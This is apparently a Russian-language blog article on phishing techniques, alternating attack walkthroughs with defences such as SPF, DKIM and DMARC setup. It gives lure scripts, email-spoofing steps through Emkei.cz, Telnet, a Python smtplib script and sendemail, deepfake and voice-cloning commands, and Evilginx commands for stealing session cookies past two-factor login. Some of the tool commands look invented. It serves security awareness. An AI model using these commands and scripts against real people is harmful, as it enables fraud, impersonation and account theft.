Топовые техники ******а

доза · 24 апр 2025

Человеческий интеллект

Человеческий интеллект (HUMINT) и социальная инженерия в ******е в значительной степени полагаются на манипуляцию человеческими эмоциями и поведением, чтобы обмануть людей и заставить их поделиться конфиденциальной информацией. Фишеры используют HUMINT для сбора личных данных, таких как должности, интересы и связи, что позволяет им создавать целенаправленные атаки. Социальная инженерия усиливает эти атаки, используя эмоциональные триггеры, такие как страх, срочность, доверие и жадность. Эти методы манипулируют людьми, заставляя их принимать импульсивные решения, такие как нажатие на вредоносную ссылку или предоставление учетных данных, убеждая их в том, что запрос является законным или срочным.

Шпаргалка: Сценарии ******а и эмоциональные триггеры

- Сценарий: «Ваш аккаунт был скомпрометирован. Сбросьте пароль немедленно!»
- Эмоциональный сигнал: Страх потерять доступ или подвергнуть риску раскрытия личных данных.
- Ответ: Жертва испугалась и кликнула на вредоносную ссылку, не проверив источник.

- Сценарий: "Вы получили конфиденциальный документ. Откройте, чтобы просмотреть."
- Эмоциональный сигнал: Интерес, вызванный загадкой или эксклюзивностью.
- Ответ: Жертва открывает вложение, которое устанавливает вредоносное ПО.

- Сценарий: "Завершите этот платеж сейчас, чтобы избежать штрафов за просрочку."
- Эмоциональный сигнал: Давление действовать быстро, не тратя время на проверку.
- Ответ: Жертва спешит и вводит данные платежа на ******овом сайте.

- Сценарий: "Это твой начальник. Мне нужно, чтобы ты немедленно перевел средства на этот счет."
- Эмоциональный сигнал: Уважение к власти, страх перед неповиновением.
- Ответ: Жертва, полагая, что запрос исходит от их начальника, выполняет его без вопросов о легитимности.

- Сценарий: "Вы выиграли подарочную карту на $1,000! Нажмите, чтобы получить свой приз."
- Эмоциональный сигнал: Желание получить вознаграждение или финансовую выгоду.
- Ответ: Жертва предоставляет личную информацию, чтобы получить поддельный приз.

Недостаток SPF

Emkei.cz — это онлайн-инструмент, который позволяет пользователям отправлять поддельные электронные письма, просто заполнив форму. Этот инструмент может быть использован в мошеннических целях для ******а и социальных атак, поскольку он позволяет отправителю подделывать адрес "От кого", создавая видимость, что письмо приходит от легитимного или надежного источника. Понимание того, как злоумышленники используют такие инструменты, как Emkei, может помочь в разработке эффективных мер предосторожности.

Как работает Emkei . cz для отправки поддельных писем

Использование Emkei . cz для отправки поддельного письма включает в себя заполнение нескольких полей и нажатие кнопки "Отправить". Вот пошаговая инструкция:

1. Доступ к веб-сайту:
- Перейдите на emkei . cz в вашем браузере.

2. Заполнение формы:
- От: Вы вводите поддельный адрес электронной почты отправителя, например ceo@legitcompany.com
- Кому: Укажите адрес электронной почты жертвы, например victim@targetdomain.com
- Тема: Вы можете написать любую тему, например, Срочно: требуется оплата
- Сообщение: Составьте содержание электронного письма, которое может выглядеть следующим образом:

Dear John,

Please make the payment of $5,000 to the attached account. This is urgent.

Regards,

CEO

1. SMTP параметры: Вы можете использовать настройки по умолчанию или настроить собственный SMTP при необходимости. Пользовательский SMTP помогает дополнительно скрыть источник.
2. Вложение: По желанию вы можете прикрепить файлы (которые могут содержать вредоносное ПО или другие злонамеренные компоненты).
3. Отправка электронной почты: После заполнения формы нажмите кнопку "Отправить письмо", и поддельное письмо будет отправлено жертве.

Простота этого процесса делает Emkei . cz привлекательным для злоумышленников. Он не требует технических навыков, а отправленные письма могут выглядеть убедительно реальными для жертв.

Как предотвратить отправку поддельных писем через Emkei . cz
Предотвращение поддельных писем, подобных тем, что отправляются через Emkei . cz, требует многослойной стратегии защиты, сосредоточенной на методах аутентификации электронной почты и мониторинге.

1. Настройте SPF (Sender Policy Framework)

SPF — это DNS-запись, которая определяет, какие почтовые серверы имеют право отправлять электронные письма от имени вашего домена. Если она настроена правильно, то может блокировать несанкционированные серверы (такие как серверы Emkei . cz от отправки писем от имени вашего домена.

Чтобы добавить запись SPF:
- Добавьте это в настройки DNS вашего домена:
example.com. IN TXT "v=spf1 ip4:192.0.2.1 -all"

- ip4:192.0.2.1: Указывает IP-адрес авторизованного почтового сервера.
- -all: Отклоняет все электронные письма, не отправленные с авторизованных IP-адресов.

Проверьте свою SPF-запись:

Вы можете использовать онлайн-инструмент, такой как MXToolbox, или командные инструменты для проверки вашей SPF-записи:
dig txt example.com
Убедитесь, что SPF-запись правильно настроена и включает все легитимные почтовые серверы для вашего домена.

2. Настройте DKIM (Почта с идентификацией доменов)

DKIM добавляет криптографическую подпись в заголовки исходящих электронных писем. Если кто-то попытается отправить электронное письмо с вашего домена без этой подписи (как это делает Emkei . cz), письмо будет отмечено как подозрительное.

Шаги для настройки DKIM:
- Сгенерируйте пару ключей DKIM (публичный и приватный).
- Опубликуйте публичный ключ в виде DNS TXT-записи для вашего домена.
- Настройте ваш почтовый сервер на подпись исходящих писем с помощью приватного ключа.

default._domainkey.example.com. IN TXT "v=DKIM1; k=rsa; p=your_public_key"

Используйте командную строку для проверки DKIM записи:

dig txt default._domainkey.example.com

Убедитесь, что ваша настройка DKIM работает правильно, протестировав её с помощью таких инструментов, как dmarcian . com.

3. Настройте DMARC (Аутентификация сообщений на основе домена, отчетность и соответствие)

DMARC позволяет владельцам доменов указывать, как принимающие серверы должны обрабатывать неудачные проверки SPF и DKIM (например, отклонять или помещать в карантин).

Шаги для настройки DMARC:

- Добавьте следующую DNS TXT запись:

_dmarc.example.com. IN TXT "v=DMARC1; p=reject; rua=mailto:dmarc-reports@example.com; ruf=mailto:forensic-reports@example.com"

Эта запись означает:
- p=reject: Электронные письма, не прошедшие проверку DMARC, будут отклонены.
- rua: Сводные отчеты будут отправлены на dmarc-reports@example.com
- ruf: Судебные отчеты будут отправлены на forensic-reports@example.com

Проверьте свою запись DMARC с помощью командных инструментов:

dig txt _dmarc.example.com

Это гарантирует, что ваша политика DMARC правильно опубликована и распознана принимающими почтовыми серверами.

4. Используйте фильтры электронной почты и решения для обеспечения безопасности

Решения для фильтрации электронной почты могут автоматически блокировать или помещать в карантин подозрительные письма, включая те, которые отправлены через Emkei . cz.

- Используйте шлюзы безопасности электронной почты: решения, такие как Proofpoint, Mimecast или Microsoft Defender для Office 365, могут обнаруживать и блокировать поддельные письма на основе поведенческих паттернов и аномалий.
- Включите фильтры против спуфинга: большинство корпоративных почтовых систем (таких как Google Workspace или Microsoft Exchange) позволяют включить обнаружение и фильтрацию спуфинга по умолчанию.

5. Мониторинг и анализ журналов

Сервера электронной почты и средства безопасности генерируют журналы, которые могут выявить подозрительную активность в электронной почте, такую как письма, не прошедшие проверки SPF, DKIM или DMARC. Регулярно просматривайте эти журналы на наличие признаков попыток спуфинга.

Например, на серверах электронной почты Postfix проверьте журнал на наличие отклоненных писем:

grep "reject" /var/log/mail.log

Это покажет письма, которые были заблокированы из-за неудачных проверок SPF, DKIM или DMARC.

Пример команды для применения SPF, DKIM и DMARC на сервере Postfix:

1. Принудительное выполнение проверок SPF в Postfix:
Добавьте следующее в ваш файл /etc/postfix/main.cf:

smtpd_recipient_restrictions =
reject_unauth_destination
check_policy_service unix:private/policyd-spf

2. Установите и настройте DKIM с помощью OpenDKIM:
Установите OpenDKIM:

sudo apt-get install opendkim opendkim-tools

Настройте Postfix для использования OpenDKIM, отредактировав /etc/postfix/main.cf:

milter_default_action = accept
milter_protocol = 2
smtpd_milters = unix:/opendkim/opendkim.sock
non_smtpd_milters = unix:/opendkim/opendkim.sock

3. Включите DMARC в Postfix:
Установите и настройте сервис политики DMARC, такой как OpenDMARC, и настройте его с Postfix аналогично OpenDKIM.

Обойти SPF

SPF (Sender Policy Framework) — это механизм аутентификации электронной почты, который помогает предотвратить отправку спама от имени вашего домена. SPF работает, позволяя владельцам доменов указывать, какие почтовые серверы имеют право отправлять электронные письма от имени их домена. Когда почтовый сервер получает сообщение, он проверяет SPF-запись отправляющего домена, чтобы подтвердить, что IP-адрес отправителя имеет право отправлять электронные письма для этого домена. Если проверка SPF не проходит, принимающий сервер может пометить сообщение как спам или полностью отклонить его.

1. Создание DNS-записи: Владелец домена публикует SPF-запись в DNS (Системе доменных имен). Эта запись содержит список всех авторизованных почтовых серверов для данного домена.
Пример SPF-записи:

v=spf1 ip4:192.168.1.1 include:example.com -all

- Эта запись позволяет IP-адресу 192.168.1.1 и example.com отправлять электронные письма для данного домена. Указание -all означает, что любые другие IP-адреса должны не проходить проверку SPF.

2. Проверка сервера получения: Когда электронное письмо получено, сервер получателя проверяет DNS-записи отправляющего домена. Если IP-адрес отправляющего сервера соответствует авторизованному списку, проверка SPF проходит успешно.

Несмотря на защиту SPF, подделка остается проблемой, особенно если домены не применяют SPF или если сервер получателя не настроен на отклонение неудачных проверок SPF.

Подделка почтового сервера включает в себя отправку электронного письма, которое выглядит так, будто оно пришло с домена или адреса электронной почты другого человека. Обычно это делается для ******а или атак социальной инженерии. Хотя SPF может предотвратить доставку поддельных писем, злоумышленники все равно могут попытаться подделать электронные письма, обойдя SPF на плохо сконфигурированных системах или нацеливаясь на системы, в которых отсутствуют надлежащие протоколы аутентификации электронной почты.

Инструменты для подделки электронной почты

Вот упрощённое руководство о том, как можно отправить поддельное электронное письмо с помощью Telnet или инструментов, таких как Sendmail, или библиотек SMTP в Python. Эти методы предназначены только для образовательных целей.

Использование Telnet для подделки электронных писем

Telnet можно использовать для прямого общения с сервером SMTP (Simple Mail Transfer Protocol) и отправки электронных писем. Вот как это работает:

Шаги:

Откройте терминал и используйте Telnet для подключения к почтовому серверу:

telnet smtp.example.com 25

HELO example.com

MAIL FROM: <fake@example.com>

RCPT TO: <victim@targetdomain.com>

DATA

Subject: Important Update
From: CEO <ceo@company.com>
To: victim@targetdomain.com

Hello,

This is a fake email. Please follow the instructions below...

.

QUIT

Электронное письмо теперь будет отправлено получателю, возможно, обходя слабые меры безопасности электронной почты.

Использование Python для подделки электронных писем

Библиотеку smtplib в Python можно использовать для написания скриптов отправки электронных писем, включая поддельные сообщения.

Пример:

import smtplib

# Set up the server
server = smtplib.SMTP('smtp.example.com', 25) # Replace with the target SMTP server and port
server.ehlo()

# Compose the message
from_email = "ceo@company.com" # Spoofed sender
to_email = "victim@targetdomain.com"
subject = "Urgent: Security Update"
message = """\
From: CEO <ceo@company.com>
To: <victim@targetdomain.com>
Subject: {subject}

Dear User,

Please reset your password immediately at the following link:
http://malicious-link.com

Sincerely,
CEO
"""

# Send the email
server.sendmail(from_email, to_email, message)
server.quit()

Как защититься от подделки электронной почты

Чтобы защититься от поддельных электронных писем, организациям следует внедрить и соблюдать следующие механизмы:
1. SPF: Убедитесь, что записи SPF правильно настроены для домена.
2. DKIM (DomainKeys Identified Mail): Подписывайте исходящие электронные письма цифровой подписью.
3. DMARC (Domain-based Message Authentication, Reporting, and Conformance): Установите политики, которые указывают принимающим почтовым серверам, как обрабатывать электронные письма, не прошедшие проверки SPF или DKIM.
4. Фильтрация электронной почты: Используйте продвинутые инструменты фильтрации электронной почты для обнаружения и блокировки подозрительных писем, даже если проверки SPF и DKIM проходят.
5. Обучение сотрудников: Обучите сотрудников распознавать ******овые письма и понимать риски подделки электронной почты.

Несоответствие Return-Path

Одной из самых распространённых техник ******а является подделка адреса электронной почты отправителя, чтобы создать видимость, что письмо пришло от надежного источника. Быстрый способ выявить это — сравнить поле "Отправитель" с полем "Return-Path" в заголовке письма. Нападающий подделывает поле "От", но фактический сервер, отправляющий письмо, может быть другим, что выдаёт атаку.

Шаги для проверки отправителя и Return-Path:

1. Откройте электронное письмо.
2. Нажмите на три точки ⋮ в правом верхнем углу письма и выберите "Показать оригинал" (в таких сервисах, как Gmail).
3. Проверьте поле отправителя в теле письма и поле Return-Path в оригинальных заголовках.
4. Если поле отправителя (видимое в письме) и поле Return-Path (в оригинальном источнике) не совпадают, это с высокой вероятностью является попыткой ******а.

Сценарий атаки - Код для отправки поддельного письма с подмененным полем Return-Path:

Атакующий может использовать инструменты, такие как Sendmail или SendEmail, чтобы подменить адрес "От" в электронном письме, установив при этом другой Return-Path.

sendemail -f attacker@fakecompany.com -t victim@legitcompany.com -u "Urgent: Payment Required" \
-m "Please process the payment today." \
-s smtp.fakeserver.com:25 -o message-header="Return-Path: <attackerserver@malicious.com>"

В этом примере атакующий устанавливает Return-Path на другой сервер. При нажатии на "Показать оригинал" получатель может обнаружить это несоответствие и определить его как мошенническое.

Проверка IP-адреса почтового сервера

Атакующие часто используют скомпрометированные или несанкционированные почтовые серверы для отправки ******овых писем. Проверка IP-адреса сервера, отправляющего электронное письмо, может показать, является ли этот сервер доверенным. Инструменты, такие как MXToolbox, могут помочь определить, находится ли отправляющий IP-адрес в черном списке, что может сигнализировать о потенциальном мошенничестве.

Шаги для проверки IP-адреса:
1. Откройте оригинальный источник письма (выберите "Показать оригинал" в Gmail).
2. Найдите IP-адрес отправителя, просмотрев заголовки "Received". Например:

Received: from smtp.maliciousserver.com ([192.0.2.123])

3. Используйте MXToolbox или другой сервис для проверки, находится ли IP-адрес отправителя в черном списке:
- Перейдите на MXToolbox и введите IP-адрес.
4. Если IP-адрес находится в черном списке или вызывает подозрения, вероятно, это попытка ******а.

Сценарий атаки - Отправка поддельного письма с помощью собственного SMTP:

Нападающий может использовать собственный SMTP-сервер для отправки поддельного письма:

sendemail -f ceo@legitcompany.com -t victim@target.com \
-u "Invoice Payment Required" -m "Please pay the invoice attached." \
-s smtp.maliciousserver.com:25

В этом случае IP-адрес smtp.maliciousserver.com можно проверить по черному списку, чтобы выявить его злонамеренные намерения.

Если SPF или DMARC не проходят проверку, письмо может быть подделано.

Сценарий атаки - Обход SPF и отправка ******овых писем:

SPF можно обойти, если SPF-запись целевого домена неправильно настроена, например, используется мягкий отказ ~all вместо жесткого отказа -all. Вот как злоумышленник может попытаться это сделать:

1. SPF-запись домена:

v=spf1 ip4:192.0.2.1 ~all

- ~all означает, что неавторизованные серверы будут помечены, но не отклонены
- Отправить поддельное письмо с использованием неавторизованного сервера:

sendemail -f finance@legitcompany.com -t victim@targetdomain.com \
-u "Payment Information" -m "Please complete the attached invoice." \
-s smtp.attacker.com:25

Поскольку SPF установлен на мягкий отказ, письмо все равно может быть доставлено, даже если оно отправлено с неавторизованного сервера.

Методы предотвращения

Чтобы защитить вашу email-систему от ******овых атак, крайне важно применять лучшие практики безопасности, такие как SPF, DKIM и DMARC, с правильными настройками.

Настройка SPF-записи:
Убедитесь, что ваша SPF-запись четко определяет, какие серверы могут отправлять электронные письма от имени вашего домена:
1. Отредактируйте свои DNS, чтобы добавить SPF-запись: example.com. IN TXT "v=spf1 ip4:192.0.2.1 -all"
2. Проверьте вашу SPF-запись: Используйте инструмент, такой как MXToolbox dig txt example.com

Настройка DKIM:
1. Сгенерировать DKIM-ключ: Используйте инструменты, такие как opendkim, для генерации открытых и закрытых ключей opendkim-genkey -s default -d example.com
2. Добавьте открытый ключ в DNS: Добавьте открытый ключ в ваш DNS default._domainkey.example.com . IN TXT "v=DKIM1"; k=rsa; p=MIGf...your_public_key...
3. Настройте ваш почтовый сервер для подписи электронных писем: Настройте ваш почтовый сервер (например, Postfix) для подписи исходящих электронных писем с помощью DKIM.

Настройка DMARC:
1. Добавьте политику DMARC в DNS: _dmarc.example.com . IN TXT "v=DMARC1; p=reject; rua=mailto:dmarc-reports@example.com"
2. Проверьте DMARC: Используйте MXToolbox, чтобы убедиться, что ваша конфигурация DMARC активна dig txt _ dmarc.example.com

Дипфейки и голосовой ******

****** значительно эволюционировал, включая сложные технологии, такие как deepfake и сгенерированные искусственным интеллектом поддельные голоса, чтобы обмануть и манипулировать жертвами. Эти новые методы могут сделать ******-атаки более убедительными, подражая доверенным лицам как в визуальном, так и в аудиоформатах. Это добавляет новый уровень сложности к традиционным методам ******а и требует продвинутых мер противодействия.

1. ****** с глубокими фейками (манипуляция видео)

****** с deepfake'ами включает использование видео, сгенерированных искусственным интеллектом, для выдачи себя за доверенных лиц, таких как руководители компаний или публичные фигуры. Злоумышленники могут использовать голосовые фейки в ******-кампаниях, чтобы манипулировать сотрудниками или другими людьми, заставляя их выполнять действия, такие как перевод средств, раскрытие конфиденциальной информации или переход по вредоносным ссылкам.

Сценарий атаки с использованием видео дипфейк

Создание видео глубокого фейка: Злоумышленники используют инструменты ИИ, такие как DeepFaceLab или FaceSwap, чтобы создать видео, в котором они выдают себя за высокопоставленного руководителя или доверенное лицо. Затем они могут составить ******овое письмо или сообщение с встроенным видео глубокого фейка, в котором просят жертву предпринять срочные действия.

- Установите DeepFaceLab и загрузите предварительно обученные модели:

git clone https://github.com/iperov/DeepFaceLab.git
cd DeepFaceLab

- Соберите видеоданные человека, которого необходимо изобразить (исходное видео), и видео актера (целевое видео).

- Извлеките лица из исходного видео:

python main.py extract --input-dir path/to/source_video --output-dir path/to/faces

- Обучите модель для создания дипфейка:

python main.py train --data-dir path/to/dataset

- Сгенерируйте видео с дипфейком:

python main.py merge --input-dir path/to/trained_model --output-dir path/to/output_video

****** с использованием искусственно сгенерированного голоса

Сгенерированные искусственным интеллектом фальшивые голоса, часто называемые голосовыми дипфейками или вишингом (голосовой ******), могут использоваться для выдачи себя за доверенных лиц по телефону или в голосовых сообщениях. Злоумышленники могут синтезировать голос человека с помощью алгоритмов машинного обучения, что делает ******овые атаки более убедительными.

Сценарий атаки с использованием фальшивого голоса

- Создание фальшивого голоса с помощью ИИ такие инструменты, как Descript или Lyrebird, могут использоваться для создания голосового дипфейка, обучая ИИ на образце голоса цели.
- Запишите или соберите образец голоса цели (например, из публичных выступлений, видео или подкастов).
- Обучите ИИ имитировать голос:

descript clone --voice-sample path/to/voice_sample.wav --output voice_model

- Сгенерируйте звуковой фрагмент с использованием клонированного голоса:

descript synthesize --model voice_model --text "Please approve this fund transfer by end of day."

Вишинг-атака: Злоумышленник использует сгенерированный ИИ голос для совершения телефонных звонков или отправки голосовых сообщений, притворяясь руководителем или менеджером. Например, злоумышленник может позвонить сотруднику и дать указание перевести деньги или предоставить конфиденциальные данные.

Пример сценария голосового сообщения:

"Hi, this is your CEO. I’m in an urgent meeting and need you to transfer $15,000 to this account right away. I'll send you the details shortly via email. Thanks!"

Методы предотвращения ******а с использованием поддельного голоса

- Аутентификация по голосовой биометрии: используйте инструменты аутентификации по голосовой биометрии для проверки личности звонящих. Инструменты, такие как Nuance и Pindrop, могут обнаруживать аномалии в голосовых паттернах.
- Протоколы обратного вызова: внедрите строгие политики обратного вызова, согласно которым сотрудники обязаны подтверждать любые финансовые или конфиденциальные запросы, перезванивая по известному и доверенному номеру телефона.
- Обнаружение голосов с помощью ИИ в реальном времени: современные инструменты ИИ могут анализировать входящие звонки в реальном времени, чтобы определить, является ли голос синтетическим или сгенерированным, что помогает выявлять подозрительные звонки.

2FA

Evilginx 3.0 — это мощный инструмент, используемый для проведения продвинутых ******овых атак, специально разработанный для обхода двухфакторной аутентификации (2FA). Он функционирует как обратный ******, перехватывая и передавая коммуникацию между жертвой и легитимной службой. Это позволяет злоумышленникам захватывать учетные данные для входа и токены аутентификации, даже когда жертва использует 2FA, включая одноразовые пароли, основанные на времени (TOTP), и SMS-2FA.

Вот как Evilginx 3.0 может быть использован для проведения ******овой атаки с обходом двухфакторной аутентификации (2FA), а также механизмы защиты.

Сценарий атаки: Использование Evilginx 3.0 для ******а и обхода двухфакторной аутентификации (2FA)

Настройка и конфигурация: Evilginx выступает в роли посредника (MITM) между жертвой и легитимной страницей входа. Он может перехватывать как имя пользователя и пароль, так и токен сеанса, который генерируется после успешной аутентификации с использованием двухфакторной аутентификации (2FA).

phishlets hostname google phishingdomain.com
phishlets enable google
lures create google

- Evilginx теперь клонирует страницу входа Google на домене phishingdomain.com.

Создайте ******овый URL: После активации фишлета и приманки Evilginx генерирует ******овый URL, который будет перенаправлять жертв на поддельную страницу входа.

lures get-url 0

- Этот URL будет похож на настоящую страницу входа и использовать HTTPS для убедительной ******овой атаки.

Проведение ******овой атаки

- Отправка ******ового URL: Злоумышленник отправляет ******овый URL жертве по электронной почте, SMS или с помощью методов социального манипулирования. Например:
- ******овое письмо:

Subject: Urgent: Unusual Login Attempt

Hi,

We detected an unusual login attempt on your Google account. Please click the link below to verify your identity:

https://phishingdomain.com/google/login

Regards,
Google Security Team

- Жертва вводит учетные данные: Когда жертва нажимает на ссылку, она перенаправляется на клонированную страницу входа, размещенную на Evilginx. Жертва вводит свои учетные данные и отправляет код двухфакторной аутентификации.
- Evilginx перехватывает учетные данные и токен 2FA Evilginx перехватывает имя пользователя, пароль и токен 2FA (одноразовый пароль) и передает их на легитимный сервис. Сервис отправляет обратно куки сессии, которые также перехватывает Evilginx.

[201.202.45.12] [google] [user@gmail.com] [password123]
[google] Session cookie captured: GA1.2.1234567890.session

Механизмы защиты от ******а с использованием Evilginx и обхода 2FA

Защита от таких сложных ******овых атак требует многоуровневого подхода:

Используйте аппаратные ключи FIDO2/WebAuthn: Хотя Evilginx может обойти традиционные методы двухфакторной аутентификации (TOTP, SMS и т. д.), аутентификация на основе аппаратных средств с использованием FIDO2 или WebAuthn не может быть обойдена атаками "человек посередине". Эти устройства генерируют криптографический ключ, специфичный для каждой сессии, что делает его невозможным для кражи.

- Пример: YubiKey или Google Titan Key.